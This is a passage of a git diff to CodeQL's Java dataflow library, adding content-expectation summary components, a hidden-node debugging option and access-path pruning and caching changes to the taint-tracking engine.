+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForSerializability.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForSerializability.qll
index f49d975ccf9..fb773ea89f8 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForSerializability.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowImplForSerializability.qll
@@ -170,6 +170,14 @@ abstract class Configuration extends string {
    */
   int explorationLimit() { none() }
 
+  /**
+   * Holds if hidden nodes should be included in the data flow graph.
+   *
+   * This feature should only be used for debugging or when the data flow graph
+   * is not visualized (for example in a `path-problem` query).
+   */
+  predicate includeHiddenNodes() { none() }
+
   /**
    * Holds if there is a partial data flow path from `source` to `node`. The
    * approximate distance between `node` and the closest source is `dist` and
@@ -498,23 +506,35 @@ private predicate readSet(NodeEx node1, ContentSet c, NodeEx node2, Configuratio
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate read(NodeEx node1, Content c, NodeEx node2, Configuration config) {
   exists(ContentSet cs |
     readSet(node1, cs, node2, config) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
 // inline to reduce fan-out via `getAReadContent`
-pragma[inline]
+bindingset[c]
 private predicate clearsContentEx(NodeEx n, Content c) {
   exists(ContentSet cs |
     clearsContentCached(n.asNode(), cs) and
-    c = cs.getAReadContent()
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
   )
 }
 
+// inline to reduce fan-out via `getAReadContent`
+bindingset[c]
+private predicate expectsContentEx(NodeEx n, Content c) {
+  exists(ContentSet cs |
+    expectsContentCached(n.asNode(), cs) and
+    pragma[only_bind_out](c) = pragma[only_bind_into](cs).getAReadContent()
+  )
+}
+
+pragma[nomagic]
+private predicate notExpectsContent(NodeEx n) { not expectsContentCached(n.asNode(), _) }
+
 pragma[nomagic]
 private predicate store(
   NodeEx node1, TypedContent tc, NodeEx node2, DataFlowType contentType, Configuration config
@@ -793,7 +813,7 @@ private module Stage1 {
    * by `revFlow`.
    */
   pragma[nomagic]
-  private predicate revFlowIsReadAndStored(Content c, Configuration conf) {
+  predicate revFlowIsReadAndStored(Content c, Configuration conf) {
     revFlowConsCand(c, conf) and
     revFlowStore(c, _, _, conf)
   }
@@ -891,7 +911,7 @@ private module Stage1 {
 
   pragma[nomagic]
   predicate readStepCand(NodeEx n1, Content c, NodeEx n2, Configuration config) {
-    revFlowIsReadAndStored(pragma[only_bind_into](c), pragma[only_bind_into](config)) and
+    revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
     read(n1, c, n2, pragma[only_bind_into](config)) and
     revFlow(n2, pragma[only_bind_into](config))
   }
@@ -1181,11 +1201,26 @@ private module Stage2 {
 
   private predicate flowIntoCall = flowIntoCallNodeCand1/5;
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::revFlowIsReadAndStored(c, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c)
+    )
+  }
+
   bindingset[node, state, ap, config]
   private predicate filter(NodeEx node, FlowState state, Ap ap, Configuration config) {
     PrevStage::revFlowState(state, pragma[only_bind_into](config)) and
     exists(ap) and
-    not stateBarrier(node, state, config)
+    not stateBarrier(node, state, config) and
+    (
+      notExpectsContent(node)
+      or
+      ap = true and
+      expectsContentCand(node, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -1646,10 +1681,24 @@ private module Stage2 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -1740,7 +1789,8 @@ private module LocalFlowBigStep {
   private class FlowCheckNode extends NodeEx {
     FlowCheckNode() {
       castNode(this.asNode()) or
-      clearsContentCached(this.asNode(), _)
+      clearsContentCached(this.asNode(), _) or
+      expectsContentCached(this.asNode(), _)
     }
   }
 
@@ -1979,6 +2029,16 @@ private module Stage3 {
     clearContent(node, ap.getHead().getContent(), config)
   }
 
+  pragma[nomagic]
+  private predicate expectsContentCand(NodeEx node, Ap ap, Configuration config) {
+    exists(Content c |
+      PrevStage::revFlow(node, pragma[only_bind_into](config)) and
+      PrevStage::readStepCand(_, c, _, pragma[only_bind_into](config)) and
+      expectsContentEx(node, c) and
+      c = ap.getHead().getContent()
+    )
+  }
+
   pragma[nomagic]
   private predicate castingNodeEx(NodeEx node) { node.asNode() instanceof CastingNode }
 
@@ -1987,7 +2047,12 @@ private module Stage3 {
     exists(state) and
     exists(config) and
     not clear(node, ap, config) and
-    if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()
+    (if castingNodeEx(node) then compatibleTypes(node.getDataFlowType(), ap.getType()) else any()) and
+    (
+      notExpectsContent(node)
+      or
+      expectsContentCand(node, ap, config)
+    )
   }
 
   bindingset[ap, contentType]
@@ -2452,10 +2517,24 @@ private module Stage3 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3279,10 +3358,24 @@ private module Stage4 {
     storeStepFwd(_, ap, tc, _, _, config)
   }
 
-  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+  private predicate revConsCand(TypedContent tc, Ap ap, Configuration config) {
     storeStepCand(_, ap, tc, _, _, config)
   }
 
+  private predicate validAp(Ap ap, Configuration config) {
+    revFlow(_, _, _, _, ap, config) and ap instanceof ApNil
+    or
+    exists(TypedContent head, Ap tail |
+      consCand(head, tail, config) and
+      ap = apCons(head, tail)
+    )
+  }
+
+  predicate consCand(TypedContent tc, Ap ap, Configuration config) {
+    revConsCand(tc, ap, config) and
+    validAp(ap, config)
+  }
+
   pragma[noinline]
   private predicate parameterFlow(
     ParamNodeEx p, Ap ap, Ap ap0, DataFlowCallable c, Configuration config
@@ -3351,17 +3444,28 @@ private Configuration unbindConf(Configuration conf) {
   exists(Configuration c | result = pragma[only_bind_into](c) and conf = pragma[only_bind_into](c))
 }
 
-private predicate nodeMayUseSummary(
-  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+pragma[nomagic]
+private predicate nodeMayUseSummary0(
+  NodeEx n, DataFlowCallable c, FlowState state, AccessPathApprox apa, Configuration config
 ) {
-  exists(DataFlowCallable c, AccessPathApprox apa0 |
-    Stage4::parameterMayFlowThrough(_, c, apa, _) and
+  exists(AccessPathApprox apa0 |
+    Stage4::parameterMayFlowThrough(_, c, _, _) and
     Stage4::revFlow(n, state, true, _, apa0, config) and
     Stage4::fwdFlow(n, state, any(CallContextCall ccc), TAccessPathApproxSome(apa), apa0, config) and
     n.getEnclosingCallable() = c
   )
 }
 
+pragma[nomagic]
+private predicate nodeMayUseSummary(
+  NodeEx n, FlowState state, AccessPathApprox apa, Configuration config
+) {
+  exists(DataFlowCallable c |
+    Stage4::parameterMayFlowThrough(_, c, apa, config) and
+    nodeMayUseSummary0(n, c, state, apa, config)
+  )
+}
+
 private newtype TSummaryCtx =
   TSummaryCtxNone() or
   TSummaryCtxSome(ParamNodeEx p, FlowState state, AccessPath ap) {
@@ -3557,7 +3661,7 @@ private newtype TPathNode =
  * of dereference operations needed to get from the value in the node to the
  * tracked object. The final type indicates the type of the tracked object.
  */
-abstract private class AccessPath extends TAccessPath {
+private class AccessPath extends TAccessPath {
   /** Gets the head of this access path, if any. */
   abstract TypedContent getHead();
 
@@ -3772,11 +3876,14 @@ abstract private class PathNodeImpl extends PathNode {
   abstract NodeEx getNodeEx();
 
   predicate isHidden() {
-    hiddenNode(this.getNodeEx().asNode()) and
-    not this.isSource() and
-    not this instanceof PathNodeSink
-    or
-    this.getNodeEx() instanceof TNodeImplicitRead
+    not this.getConfiguration().includeHiddenNodes() and
+    (
+      hiddenNode(this.getNodeEx().asNode()) and
+      not this.isSource() and
+      not this instanceof PathNodeSink
+      or
+      this.getNodeEx() instanceof TNodeImplicitRead
+    )
   }
 
   private string ppAp() {
@@ -4257,6 +4364,12 @@ private module Subpaths {
     )
   }
 
+  pragma[nomagic]
+  private predicate hasSuccessor(PathNode pred, PathNodeMid succ, NodeEx succNode) {
+    succ = pred.getASuccessor() and
+    succNode = succ.getNodeEx()
+  }
+
   /**
    * Holds if `(arg, par, ret, out)` forms a subpath-tuple, that is, flow through
    * a subpath between `par` and `ret` with the connecting edges `arg -> par` and
@@ -4264,15 +4377,13 @@ private module Subpaths {
    */
   predicate subpaths(PathNode arg, PathNodeImpl par, PathNodeImpl ret, PathNode out) {
     exists(ParamNodeEx p, NodeEx o, FlowState sout, AccessPath apout, PathNodeMid out0 |
-      pragma[only_bind_into](arg).getASuccessor() = par and
-      pragma[only_bind_into](arg).getASuccessor() = out0 and
-      subpaths03(arg, p, localStepToHidden*(ret), o, sout, apout) and
+      pragma[only_bind_into](arg).getASuccessor() = pragma[only_bind_into](out0) and
+      subpaths03(pragma[only_bind_into](arg), p, localStepToHidden*(ret), o, sout, apout) and
+      hasSuccessor(pragma[only_bind_into](arg), par, p) and
       not ret.isHidden() and
-      par.getNodeEx() = p and
-      out0.getNodeEx() = o and
-      out0.getState() = sout and
-      out0.getAp() = apout and
-      (out = out0 or out = out0.projectToSink())
+      pathNode(out0, o, sout, _, _, apout, _, _)
+    |
+      out = out0 or out = out0.projectToSink()
     )
   }
 
@@ -4609,6 +4720,10 @@ private module FlowExploration {
       exists(PartialPathNodeRev mid |
         revPartialPathStep(mid, node, state, sc1, sc2, sc3, ap, config) and
         not clearsContentEx(node, ap.getHead()) and
+        (
+          notExpectsContent(node) or
+          expectsContentEx(node, ap.getHead())
+        ) and
         not fullBarrier(node, config) and
         not stateBarrier(node, state, config) and
         distSink(node.getEnclosingCallable(), config) <= config.explorationLimit()
@@ -4625,6 +4740,10 @@ private module FlowExploration {
       not fullBarrier(node, config) and
       not stateBarrier(node, state, config) and
       not clearsContentEx(node, ap.getHead().getContent()) and
+      (
+        notExpectsContent(node) or
+        expectsContentEx(node, ap.getHead().getContent())
+      ) and
       if node.asNode() instanceof CastingNode
       then compatibleTypes(node.getDataFlowType(), ap.getType())
       else any()
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
index 3f82183aa65..b122de5b886 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowNodes.qll
@@ -14,14 +14,14 @@ newtype TNode =
     not e.getParent*() instanceof Annotation
   } or
   TExplicitParameterNode(Parameter p) {
-    exists(p.getCallable().getBody()) or p.getCallable() = any(SummarizedCallable sc).asCallable()
+    exists(p.getCallable().getBody()) or p.getCallable() instanceof SummarizedCallable
   } or
   TImplicitVarargsArray(Call c) {
     c.getCallee().isVarargs() and
     not exists(Argument arg | arg.getCall() = c and arg.isExplicitVarargsArray())
   } or
   TInstanceParameterNode(Callable c) {
-    (exists(c.getBody()) or c = any(SummarizedCallable sc).asCallable()) and
+    (exists(c.getBody()) or c instanceof SummarizedCallable) and
     not c.isStatic()
   } or
   TImplicitInstanceAccess(InstanceAccessExt ia) { not ia.isExplicit(_) } or
@@ -336,7 +336,7 @@ module Private {
     result.asCallable() = n.(ImplicitInstanceAccess).getInstanceAccess().getEnclosingCallable() or
     result.asCallable() = n.(MallocNode).getClassInstanceExpr().getEnclosingCallable() or
     result = nodeGetEnclosingCallable(n.(ImplicitPostUpdateNode).getPreUpdateNode()) or
-    n = TSummaryInternalNode(result, _) or
+    n = TSummaryInternalNode(result.asCallable(), _) or
     result.asFieldScope() = n.(FieldValueNode).getField()
   }
 
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll
index 30031931ed9..d4ada64ae7f 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowPrivate.qll
@@ -160,6 +160,14 @@ predicate clearsContent(Node n, Content c) {
   FlowSummaryImpl::Private::Steps::summaryClearsContent(n, c)
 }
 
+/**
+ * Holds if the value that is being tracked is expected to be stored inside content `c`
+ * at node `n`.
+ */
+predicate expectsContent(Node n, ContentSet c) {
+  FlowSummaryImpl::Private::Steps::summaryExpectsContent(n, c)
+}
+
 /**
  * Gets a representative (boxed) type for `t` for the purpose of pruning
  * possible flow. A single type is used for all numeric types to account for
@@ -218,7 +226,7 @@ predicate compatibleTypes(Type t1, Type t2) {
 
 /** A node that performs a type cast. */
 class CastNode extends ExprNode {
-  CastNode() { this.getExpr() instanceof CastExpr }
+  CastNode() { this.getExpr() instanceof CastingExpr }
 }
 
 private newtype TDataFlowCallable =
@@ -309,7 +317,7 @@ class SummaryCall extends DataFlowCall, TSummaryCall {
   /** Gets the data flow node that this call targets. */
   Node getReceiver() { result = receiver }
 
-  override DataFlowCallable getEnclosingCallable() { result = c }
+  override DataFlowCallable getEnclosingCallable() { result.asCallable() = c }
 
   override string toString() { result = "[summary] call to " + receiver + " in " + c }
 
@@ -370,7 +378,7 @@ predicate forceHighPrecision(Content c) {
 predicate nodeIsHidden(Node n) {
   n instanceof SummaryNode
   or
-  n.(ParameterNode).isParameterOf(any(SummarizedCallable c).asCallable(), _)
+  n.(ParameterNode).isParameterOf(any(SummarizedCallable c), _)
 }
 
 class LambdaCallKind = Method; // the "apply" method in the functional interface
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
index 02f4dae5038..50abd905698 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/DataFlowUtil.qll
@@ -75,7 +75,9 @@ private module ThisFlow {
  * local (intra-procedural) steps.
  */
 pragma[inline]
-predicate localFlow(Node node1, Node node2) { localFlowStep*(node1, node2) }
+predicate localFlow(Node node1, Node node2) { node1 = node2 or localFlowStepPlus(node1, node2) }
+
+private predicate localFlowStepPlus(Node node1, Node node2) = fastTC(localFlowStep/2)(node1, node2)
 
 /**
  * Holds if data can flow from `e1` to `e2` in zero or more
@@ -97,27 +99,43 @@ predicate hasNonlocalValue(FieldRead fr) {
   )
 }
 
-/**
- * Holds if data can flow from `node1` to `node2` in one local step.
- */
-predicate localFlowStep(Node node1, Node node2) {
-  simpleLocalFlowStep(node1, node2)
-  or
-  adjacentUseUse(node1.asExpr(), node2.asExpr())
-  or
-  // Simple flow through library code is included in the exposed local
-  // step relation, even though flow is technically inter-procedural
-  FlowSummaryImpl::Private::Steps::summaryThroughStep(node1, node2, true)
+cached
+private module Cached {
+  /**
+   * Holds if data can flow from `node1` to `node2` in one local step.
+   */
+  cached
+  predicate localFlowStep(Node node1, Node node2) {
+    simpleLocalFlowStep0(node1, node2)
+    or
+    adjacentUseUse(node1.asExpr(), node2.asExpr())
+    or
+    // Simple flow through library code is included in the exposed local
+    // step relation, even though flow is technically inter-procedural
+    FlowSummaryImpl::Private::Steps::summaryThroughStepValue(node1, node2)
+  }
+
+  /**
+   * INTERNAL: do not use.
+   *
+   * This is the local flow predicate that's used as a building block in global
+   * data flow. It may have less flow than the `localFlowStep` predicate.
+   */
+  cached
+  predicate simpleLocalFlowStep(Node node1, Node node2) {
+    simpleLocalFlowStep0(node1, node2)
+    or
+    any(AdditionalValueStep a).step(node1, node2) and
+    pragma[only_bind_out](node1.getEnclosingCallable()) =
+      pragma[only_bind_out](node2.getEnclosingCallable()) and
+    // prevent recursive call
+    (any(AdditionalValueStep a).step(_, _) implies any())
+  }
 }
 
-/**
- * INTERNAL: do not use.
- *
- * This is the local flow predicate that's used as a building block in global
- * data flow. It may have less flow than the `localFlowStep` predicate.
- */
-cached
-predicate simpleLocalFlowStep(Node node1, Node node2) {
+import Cached
+
+private predicate simpleLocalFlowStep0(Node node1, Node node2) {
   TaintTrackingUtil::forceCachingInSameStage() and
   // Variable flow steps through adjacent def-use and use-use pairs.
   exists(SsaExplicitUpdate upd |
@@ -136,7 +154,7 @@ predicate simpleLocalFlowStep(Node node1, Node node2) {
   not exists(FieldRead fr |
     hasNonlocalValue(fr) and fr.getField().isStatic() and fr = node1.asExpr()
   ) and
-  not FlowSummaryImpl::Private::Steps::summaryClearsContentArg(node1, _)
+  not FlowSummaryImpl::Private::Steps::prohibitsUseUseFlow(node1)
   or
   ThisFlow::adjacentThisRefs(node1, node2)
   or
@@ -144,7 +162,7 @@ predicate simpleLocalFlowStep(Node node1, Node node2) {
   or
   ThisFlow::adjacentThisRefs(node1.(PostUpdateNode).getPreUpdateNode(), node2)
   or
-  node2.asExpr().(CastExpr).getExpr() = node1.asExpr()
+  node2.asExpr().(CastingExpr).getExpr() = node1.asExpr()
   or
   node2.asExpr().(ChooseExpr).getAResultExpr() = node1.asExpr()
   or
@@ -152,6 +170,12 @@ predicate simpleLocalFlowStep(Node node1, Node node2) {
   or
   node2.asExpr().(ArrayCreationExpr).getInit() = node1.asExpr()
   or
+  node2.asExpr() = any(StmtExpr stmtExpr | node1.asExpr() = stmtExpr.getResultExpr())
+  or
+  node2.asExpr() = any(NotNullExpr nne | node1.asExpr() = nne.getExpr())
+  or
+  node2.asExpr().(WhenExpr).getBranch(_).getAResult() = node1.asExpr()
+  or
   exists(MethodAccess ma, ValuePreservingMethod m, int argNo |
     ma.getCallee().getSourceDeclaration() = m and m.returnsValue(argNo)
   |
@@ -160,10 +184,6 @@ predicate simpleLocalFlowStep(Node node1, Node node2) {
   )
   or
   FlowSummaryImpl::Private::Steps::summaryLocalStep(node1, node2, true)
-  or
-  any(AdditionalValueStep a).step(node1, node2) and
-  pragma[only_bind_out](node1.getEnclosingCallable()) =
-    pragma[only_bind_out](node2.getEnclosingCallable())
 }
 
 private newtype TContent =
diff --git a/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImpl.qll b/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImpl.qll
index b975a31c394..17d4628a83c 100644
--- a/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImpl.qll
+++ b/java/ql/lib/semmle/code/java/dataflow/internal/FlowSummaryImpl.qll
@@ -26,6 +26,10 @@ module Public {
     string toString() {
       exists(ContentSet c | this = TContentSummaryComponent(c) and result = c.toString())
       or
+      exists(ContentSet c | this = TWithoutContentSummaryComponent(c) and result = "without " + c)
+      or
+      exists(ContentSet c | this = TWithContentSummaryComponent(c) and result = "with " + c)
+      or
       exists(ArgumentPosition pos |
         this = TParameterSummaryComponent(pos) and result = "parameter " + pos
       )
@@ -43,6 +47,12 @@ module Public {
     /** Gets a summary component for content `c`. */
     SummaryComponent content(ContentSet c) { result = TContentSummaryComponent(c) }
 
+    /** Gets a summary component where data is not allowed to be stored in `c`. */
+    SummaryComponent withoutContent(ContentSet c) { result = TWithoutContentSummaryComponent(c) }
+
+    /** Gets a summary component where data must be stored in `c`. */
+    SummaryComponent withContent(ContentSet c) { result = TWithContentSummaryComponent(c) }
+
     /** Gets a summary component for a parameter at position `pos`. */
     SummaryComponent parameter(ArgumentPosition pos) { result = TParameterSummaryComponent(pos) }
 
@@ -185,7 +195,10 @@ module Public {
   }
 
   /** A callable with a flow summary. */
-  abstract class SummarizedCallable extends DataFlowCallable {
+  abstract class SummarizedCallable extends SummarizedCallableBase {
+    bindingset[this]
+    SummarizedCallable() { any() }
+
     /**
      * Holds if data may flow from `input` to `output` through this callable.
      *
@@ -216,9 +229,16 @@ module Public {
     /**
      * Holds if values stored inside `content` are cleared on objects passed as
      * arguments at position `pos` to this callable.
+     *
+     * TODO: Remove once all languages support `WithoutContent` tokens.
      */
     pragma[nomagic]
     predicate clearsContent(ParameterPosition pos, ContentSet content) { none() }
+
+    /**
+     * Holds if the summary is auto generated.
+     */
+    predicate isAutoGenerated() { none() }
   }
 }
 
@@ -234,7 +254,9 @@ module Private {
     TContentSummaryComponent(ContentSet c) or
     TParameterSummaryComponent(ArgumentPosition pos) or
     TArgumentSummaryComponent(ParameterPosition pos) or
-    TReturnSummaryComponent(ReturnKind rk)
+    TReturnSummaryComponent(ReturnKind rk) or
+    TWithoutContentSummaryComponent(ContentSet c) or
+    TWithContentSummaryComponent(ContentSet c)
 
   private TParameterSummaryComponent thisParam() {
     result = TParameterSummaryComponent(instanceParameterPosition())
@@ -296,6 +318,23 @@ module Private {
           SummaryComponentStack::singleton(TArgumentSummaryComponent(_))) and
       preservesValue = preservesValue1.booleanAnd(preservesValue2)
     )
+    or
+    exists(ParameterPosition ppos, ContentSet cs |
+      c.clearsContent(ppos, cs) and
+      input = SummaryComponentStack::push(SummaryComponent::withoutContent(cs), output) and
+      output = SummaryComponentStack::argument(ppos) and
+      preservesValue = true
+    )
+  }
+
+  private class MkClearStack extends RequiredSummaryComponentStack {
+    override predicate required(SummaryComponent head, SummaryComponentStack tail) {
+      exists(SummarizedCallable sc, ParameterPosition ppos, ContentSet cs |
+        sc.clearsContent(ppos, cs) and
+        head = SummaryComponent::withoutContent(cs) and
+        tail = SummaryComponentStack::argument(ppos)
+      )
+    }
   }
 
   /**
@@ -378,10 +417,7 @@ module Private {
 
   private newtype TSummaryNodeState =
     TSummaryNodeInputState(SummaryComponentStack s) { inputState(_, s) } or
-    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) } or
-    TSummaryNodeClearsContentState(ParameterPosition pos, boolean post) {
-      any(SummarizedCallable sc).clearsContent(pos, _) and post in [false, true]
-    }
+    TSummaryNodeOutputState(SummaryComponentStack s) { outputState(_, s) }
 
   /**
    * A state used to break up (complex) flow summaries into atomic flow steps.
@@ -428,12 +464,6 @@ module Private {
         this = TSummaryNodeOutputState(s) and
         result = "to write: " + s
       )
-      or
-      exists(ParameterPosition pos, boolean post, string postStr |
-        this = TSummaryNodeClearsContentState(pos, post) and
-        (if post = true then postStr = " (post)" else postStr = "") and
-        result = "clear: " + pos + postStr
-      )
     }
   }
 
@@ -457,11 +487,6 @@ module Private {
     not parameterReadState(c, state, _)
     or
     state.isOutputState(c, _)
-    or
-    exists(ParameterPosition pos |
-      c.clearsContent(pos, _) and
-      state = TSummaryNodeClearsContentState(pos, _)
-    )
   }
 
   pragma[noinline]
@@ -471,7 +496,7 @@ module Private {
       or
       exists(ParameterPosition pos |
         parameterReadState(c, state, pos) and
-        result.(ParamNode).isParameterOf(c, pos)
+        result.(ParamNode).isParameterOf(inject(c), pos)
       )
     )
   }
@@ -497,8 +522,6 @@ module Private {
     parameterReadState(c, _, pos)
     or
     isParameterPostUpdate(_, c, pos)
-    or
-    c.clearsContent(pos, _)
   }
 
   private predicate callbackOutput(
@@ -506,7 +529,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isInputState(c, s) and
     s.head() = TReturnSummaryComponent(rk) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   private predicate callbackInput(
@@ -514,7 +537,7 @@ module Private {
   ) {
     any(SummaryNodeState state).isOutputState(c, s) and
     s.head() = TParameterSummaryComponent(pos) and
-    receiver = summaryNodeInputState(c, s.drop(1))
+    receiver = summaryNodeInputState(c, s.tail())
   }
 
   /** Holds if a call targeting `receiver` should be synthesized inside `c`. */
@@ -540,15 +563,21 @@ module Private {
     exists(SummarizedCallable c, SummaryComponentStack s, SummaryComponent head | head = s.head() |
       n = summaryNodeInputState(c, s) and
       (
+        exists(ContentSet cont | result = getContentType(cont) |
+          head = TContentSummaryComponent(cont) or
+          head = TWithContentSummaryComponent(cont)
+        )
+        or
         exists(ContentSet cont |
-          head = TContentSummaryComponent(cont) and result = getContentType(cont)
+          head = TWithoutContentSummaryComponent(cont) and
+          result = getNodeType(summaryNodeInputState(c, s.tail()))
         )
         or
         exists(ReturnKind rk |
           head = TReturnSummaryComponent(rk) and
           result =
             getCallbackReturnType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), rk)
+                  s.tail())), rk)
         )
       )
       or
@@ -567,16 +596,10 @@ module Private {
         exists(ArgumentPosition pos | head = TParameterSummaryComponent(pos) |
           result =
             getCallbackParameterType(getNodeType(summaryNodeInputState(pragma[only_bind_out](c),
-                  s.drop(1))), pos)
+                  s.tail())), pos)
         )
       )
     )
-    or
-    exists(SummarizedCallable c, ParameterPosition pos, ParamNode p |
-      n = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      p.isParameterOf(c, pos) and
-      result = getNodeType(p)
-    )
   }
 
   /** Holds if summary node `out` contains output of kind `rk` from call `c`. */
@@ -601,10 +624,7 @@ module Private {
   predicate summaryPostUpdateNode(Node post, Node pre) {
     exists(SummarizedCallable c, ParameterPosition pos |
       isParameterPostUpdate(post, c, pos) and
-      pre.(ParamNode).isParameterOf(c, pos)
-      or
-      pre = summaryNode(c, TSummaryNodeClearsContentState(pos, false)) and
-      post = summaryNode(c, TSummaryNodeClearsContentState(pos, true))
+      pre.(ParamNode).isParameterOf(inject(c), pos)
     )
     or
     exists(SummarizedCallable callable, SummaryComponentStack s |
@@ -627,9 +647,7 @@ module Private {
    * node, and back out to `p`.
    */
   predicate summaryAllowParameterReturnInSelf(ParamNode p) {
-    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(c, ppos) |
-      c.clearsContent(ppos, _)
-      or
+    exists(SummarizedCallable c, ParameterPosition ppos | p.isParameterOf(inject(c), ppos) |
       exists(SummaryComponentStack inputContents, SummaryComponentStack outputContents |
         summary(c, inputContents, outputContents, _) and
         inputContents.bottom() = pragma[only_bind_into](TArgumentSummaryComponent(ppos)) and
@@ -658,9 +676,10 @@ module Private {
         preservesValue = false and not summary(c, inputContents, outputContents, true)
       )
       or
-      exists(SummarizedCallable c, ParameterPosition pos |
-        pred.(ParamNode).isParameterOf(c, pos) and
-        succ = summaryNode(c, TSummaryNodeClearsContentState(pos, _)) and
+      exists(SummarizedCallable c, SummaryComponentStack s |
+        pred = summaryNodeInputState(c, s.tail()) and
+        succ = summaryNodeInputState(c, s) and
+        s.head() = [SummaryComponent::withContent(_), SummaryComponent::withoutContent(_)] and
         preservesValue = true
       )
     }
@@ -671,7 +690,7 @@ module Private {
      */
     predicate summaryReadStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
-        pred = summaryNodeInputState(sc, s.drop(1)) and
+        pred = summaryNodeInputState(sc, s.tail()) and
         succ = summaryNodeInputState(sc, s) and
         SummaryComponent::content(c) = s.head()
       )
@@ -684,7 +703,7 @@ module Private {
     predicate summaryStoreStep(Node pred, ContentSet c, Node succ) {
       exists(SummarizedCallable sc, SummaryComponentStack s |
         pred = summaryNodeOutputState(sc, s) and
-        succ = summaryNodeOutputState(sc, s.drop(1)) and
+        succ = summaryNodeOutputState(sc, s.tail()) and
         SummaryComponent::content(c) = s.head()
       )
     }
@@ -709,9 +728,22 @@ module Private {
      * node where field `b` is cleared).
      */
     predicate summaryClearsContent(Node n, ContentSet c) {
-      exists(SummarizedCallable sc, ParameterPosition pos |
